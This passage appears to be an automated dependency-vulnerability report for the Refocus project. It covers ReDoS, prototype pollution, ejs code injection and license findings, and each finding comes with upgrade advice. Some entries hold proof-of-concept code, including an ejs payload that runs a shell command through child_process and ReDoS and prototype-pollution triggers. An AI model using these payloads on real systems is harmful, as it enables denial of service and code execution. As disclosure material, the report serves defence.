Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade lodash to version 4.17.11 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: semver-regex
  • Introduced through: semver-regex@1.0.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af semver-regex@1.0.0
    Remediation: Upgrade to semver-regex@3.1.2.

Overview

semver-regex is a Regular expression for matching semver versions

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS).

PoC


// import of the vulnerable library
const semverRegex = require('semver-regex');
// import of measurement tools
const { PerformanceObserver, performance } = require('perf_hooks');

// config of measurements tools
const obs = new PerformanceObserver((items) => {
 console.log(items.getEntries()[0].duration);
 performance.clearMarks();
});
obs.observe({ entryTypes: ['measure'] });

// base version string
let version = "v1.1.3-0a"

// Adding the evil code, resulting in string
// v1.1.3-0aa.aa.aa.aa.aa.aa.a…a.a"
for(let i=0; i < 20; i++) {
   version += "a.a"
}

// produce a good version
// Parses well for the regex in milliseconds
let goodVersion = version + "2"

// good version proof
performance.mark("good before")
const goodresult = semverRegex().test(goodVersion);
performance.mark("good after")


console.log(`Good result: ${goodresult}`)
performance.measure('Good', 'good before', 'good after');

// create a bad/exploit version that is invalid due to the last $ sign
// will cause the nodejs engine to hang, if not, increase the a.a
// additions above a bit.
badVersion = version + "aaaaaaa$"

// exploit proof
performance.mark("bad before")
const badresult = semverRegex().test(badVersion);
performance.mark("bad after")

console.log(`Bad result: ${badresult}`)
performance.measure('Bad', 'bad before', 'bad after');

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade semver-regex to version 3.1.2 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: ioredis
  • Introduced through: ioredis@3.2.2

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af ioredis@3.2.2
    Remediation: Upgrade to ioredis@4.27.8.

Overview

ioredis is a Redis client for Node.js.

Affected versions of this package are vulnerable to Prototype Pollution. The reply transformer which is applied does not check for special field names. This only impacts applications that are directly allowing user-provided field names.

PoC

// Redis server running on localhost
const Redis = require("ioredis");
const client = new Redis();

async function f1() {
        await client.hset('test_key', ['__proto__', 'hello']);
        console.log('hget:', await client.hget('test_key', '__proto__')); // "hello"
        console.log('hgetall:', await client.hgetall('test_key')); // does not include __proto__: hello
}

f1();

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade ioredis to version 4.27.8 or higher.

References

medium severity

Arbitrary Code Injection

  • Vulnerable module: ejs
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-encryption@0.7.4 ejs@0.8.8
    Remediation: Upgrade to passport-saml@1.3.2.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the render and renderFile. If external input is flowing into the options parameter, an attacker is able run arbitrary code. This include the filename, compileDebug, and client option.

POC

let ejs = require('ejs')
ejs.render('./views/test.ejs',{
    filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
    compileDebug: true,
    message: 'test',
    client: true
})

Remediation

Upgrade ejs to version 3.1.6 or higher.

References

medium severity

Artistic-2.0 license

  • Module: bin-links
  • Introduced through: npm@6.14.18

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 bin-links@1.1.8
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 bin-links@1.1.8
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 bin-links@1.1.8

Artistic-2.0 license

medium severity

Artistic-2.0 license

  • Module: gentle-fs
  • Introduced through: npm@6.14.18

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 gentle-fs@2.3.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 bin-links@1.1.8 gentle-fs@2.3.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 bin-links@1.1.8 gentle-fs@2.3.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 bin-links@1.1.8 gentle-fs@2.3.1

Artistic-2.0 license

medium severity

Artistic-2.0 license

  • Module: npm
  • Introduced through: npm@6.14.18

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18

Artistic-2.0 license

medium severity

Artistic-2.0 license

  • Module: npm-lifecycle
  • Introduced through: npm@6.14.18

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 npm-lifecycle@3.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 npm-lifecycle@3.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 npm-lifecycle@3.1.5

Artistic-2.0 license

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: braces
  • Introduced through: webpack@1.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af webpack@1.15.0 watchpack@0.2.9 chokidar@1.7.0 anymatch@1.3.2 micromatch@2.3.11 braces@1.8.5
    Remediation: Upgrade to webpack@2.2.0.

Overview

braces is a Bash-like brace expansion, implemented in JavaScript.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (^\{(,+(?:(\{,+\})*),*|,*(?:(\{,+\})*),+)\}) in order to detects empty braces. This can cause an impact of about 10 seconds matching time for data 50K characters long.

Disclosure Timeline

  • Feb 15th, 2018 - Initial Disclosure to package owner
  • Feb 16th, 2018 - Initial Response from package owner
  • Feb 18th, 2018 - Fix issued
  • Feb 19th, 2018 - Vulnerability published

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade braces to version 2.3.1 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: debug
  • Introduced through: helmet@0.15.0, swagger-tools@0.10.1 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af helmet@0.15.0 connect@3.4.0 debug@2.2.0
    Remediation: Upgrade to helmet@3.8.2.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 body-parser@1.12.4 debug@2.2.0
    Remediation: Upgrade to swagger-tools@0.10.2.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af helmet@0.15.0 connect@3.4.0 finalhandler@0.4.0 debug@2.2.0
    Remediation: Upgrade to helmet@3.8.2.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af socket.io@2.5.1 debug@4.1.1
    Remediation: Upgrade to socket.io@3.0.5.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af socket.io@2.5.1 engine.io@3.6.2 debug@4.1.1
    Remediation: Upgrade to socket.io@3.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af socket.io@2.5.1 socket.io-parser@3.4.3 debug@4.1.1
    Remediation: Upgrade to socket.io@3.0.0.

Overview

debug is a small debugging utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the function useColors via manipulation of the str argument. The vulnerability can cause a very low impact of about 2 seconds of matching time for data 50k characters long.

Note: CVE-2017-20165 is a duplicate of this vulnerability.

PoC

Use the following regex in the %o formatter.

/\s*\n\s*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade debug to version 2.6.9, 3.1.0, 3.2.7, 4.3.1 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: html-dom-parser
  • Introduced through: html-react-parser@0.3.5

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af html-react-parser@0.3.5 html-dom-parser@0.1.1
    Remediation: Upgrade to html-react-parser@0.4.2.

Overview

html-dom-parser is a HTML to DOM parser that works on both the server and client.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (/<head[\s\S]*>[\s\S]*<\/head>/ and /<body[\s\S]*>[\s\S]*<\/body>/) in order to find html tags. This can cause an impact of about 10 seconds matching time for data 65K characters long.

Disclosure Timeline

  • Feb 19th, 2018 - Initial Disclosure to package owner
  • Feb 19th, 2018 - Initial Response from package owner
  • Feb 20th, 2018 - Fix issued
  • Feb 20th, 2018 - Vulnerability published

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade html-dom-parser to version 0.1.3 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: mime
  • Introduced through: swagger-tools@0.10.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 superagent@1.8.5 mime@1.3.4
    Remediation: Upgrade to swagger-tools@0.10.2.

Overview

mime is a comprehensive, compact MIME type module.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It uses regex the following regex /.*[\.\/\\]/ in its lookup, which can cause a slowdown of 2 seconds for 50k characters.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade mime to version 1.4.1, 2.0.3 or higher.

References

low severity

Prototype Pollution

  • Vulnerable module: minimist
  • Introduced through: webpack@1.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af webpack@1.15.0 optimist@0.6.1 minimist@0.0.10

Overview

minimist is a parse argument options module.

Affected versions of this package are vulnerable to Prototype Pollution due to a missing handler to Function.prototype.

Notes:

  • This vulnerability is a bypass to CVE-2020-7598

  • The reason for the different CVSS between CVE-2021-44906 to CVE-2020-7598, is that CVE-2020-7598 can pollute objects, while CVE-2021-44906 can pollute only function.

PoC by Snyk

require('minimist')('--_.constructor.constructor.prototype.foo bar'.split(' '));
console.log((function(){}).foo); // bar

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade minimist to version 0.2.4, 1.2.6 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ms
  • Introduced through: helmet@0.15.0, swagger-tools@0.10.1 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af helmet@0.15.0 connect@3.4.0 debug@2.2.0 ms@0.7.1
    Remediation: Upgrade to helmet@3.6.1.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 body-parser@1.12.4 debug@2.2.0 ms@0.7.1
